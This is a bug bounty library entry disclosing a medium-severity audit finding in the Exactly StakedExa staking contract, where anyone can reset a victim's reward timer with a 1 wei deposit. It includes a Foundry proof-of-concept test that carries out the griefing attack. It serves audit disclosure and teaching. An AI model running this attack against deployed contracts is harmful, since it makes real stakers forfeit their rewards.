# Attackers will reset `avgStart` of any user making rewards stuck for longer and get lost to savings

Anyone can deposit 1 wei to a staker, resetting avgStart and zeroing their vested rewards until minTime, causing reward loss on withdrawal.

- Payout: Audit contest
- Severity: medium
- Program: Exactly Stacking Contracts
- Found by: 0x73696d616f
- Disclosed: 2024-07-17
- Write-up quality: 7/10
- Original: https://github.com/sherlock-audit/2024-07-exactly-stacking-contracts-judging/issues/22
- Library page: https://bugbountylibrary.com/r/sherlock%3A2024-07-exactly-stacking-contracts%3AM-2
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:sherlock sev:medium tech:evm tech:solidity technique:source-review vuln:accounting-error vuln:business-logic

**Target:** StakedExa staking contract (_update / avgStart accounting)
**Root cause:** StakedExa::_update() resets avgStart[to] to block.timestamp*1e18 whenever elapsed time exceeds refTime, and this reset is triggered by any deposit to the `to` address, including a 1 wei donation from an attacker.
**Steps:**
1. User stakes and holds position past refTime so avgStart is set to initial deposit time.
2. Attacker mints/approves 1 wei of EXA and calls `stEXA.deposit(1, address(this))` in the PoC.
3. In _update, `if (time > memRefTime) avgStart[to] = block.timestamp * 1e18;` resets the average start.
4. Victim's claimable(rA, victim, assets) returns 0 until minTime elapses; on withdrawal rewards are lost to savings.
**How found:** Code reading of _update() revealed the unconditional avgStart reset on time > memRefTime, and the realization that deposit(to) lets any caller trigger it for another user with a 1 wei transfer.
**Exploitation:** Attacker needs only 1 wei of EXA and a deposit call targeting the victim address; no capital or privilege required. The reset discounts all accrued rewards to zero until minTime passes, and if the victim withdraws before then, vested rewards are forfeited to savings.
**Insight:** When a state variable is reset based on elapsed time inside a shared _update hook, check whether any external caller can invoke that hook for a victim address (e.g. via deposit/mint to arbitrary `to`); griefing resets of accrual timestamps are a recurring reward-accounting bug.

## Proof of concept (copied exactly from the original report)

**Foundry PoC test resetting avgStart via 1 wei deposit**

```
function test_POC_anyone_can_reset_stakedTime() external {
  bool attack = true;
  uint256 assets = 1e18;
  uint256 time = refTime;

  exa.mint(address(this), assets);
  stEXA.deposit(assets, address(this));

  uint256 initTime = block.timestamp * 1e18;
  skip(time + 1);
  uint256 finalTime = block.timestamp * 1e18;

  stEXA.claim(rA);
  assertEq(stEXA.avgStart(address(this)), initTime);

  // Add some more rewards
  rA.mint(address(stEXA), initialAmount);
  stEXA.notifyRewardAmount(rA, initialAmount);

  // Attacker deposits 1 to reset start time and get rewards stuck
  if (attack) {
    address attacker = makeAddr("attacker");
    exa.mint(attacker, 1);
    vm.startPrank(attacker);
    exa.approve(address(stEXA), 1);
    stEXA.deposit(1, address(this));
    vm.stopPrank();
    assets += 1;
  }

  skip(minTime);

  assertEq(stEXA.avgStart(address(this)), attack ? finalTime : initTime, "avgStart");
  assertEq(stEXA.claimable(rA, address(this), assets), attack ? 0 : 20833334711198888308, "claimable");
}
```

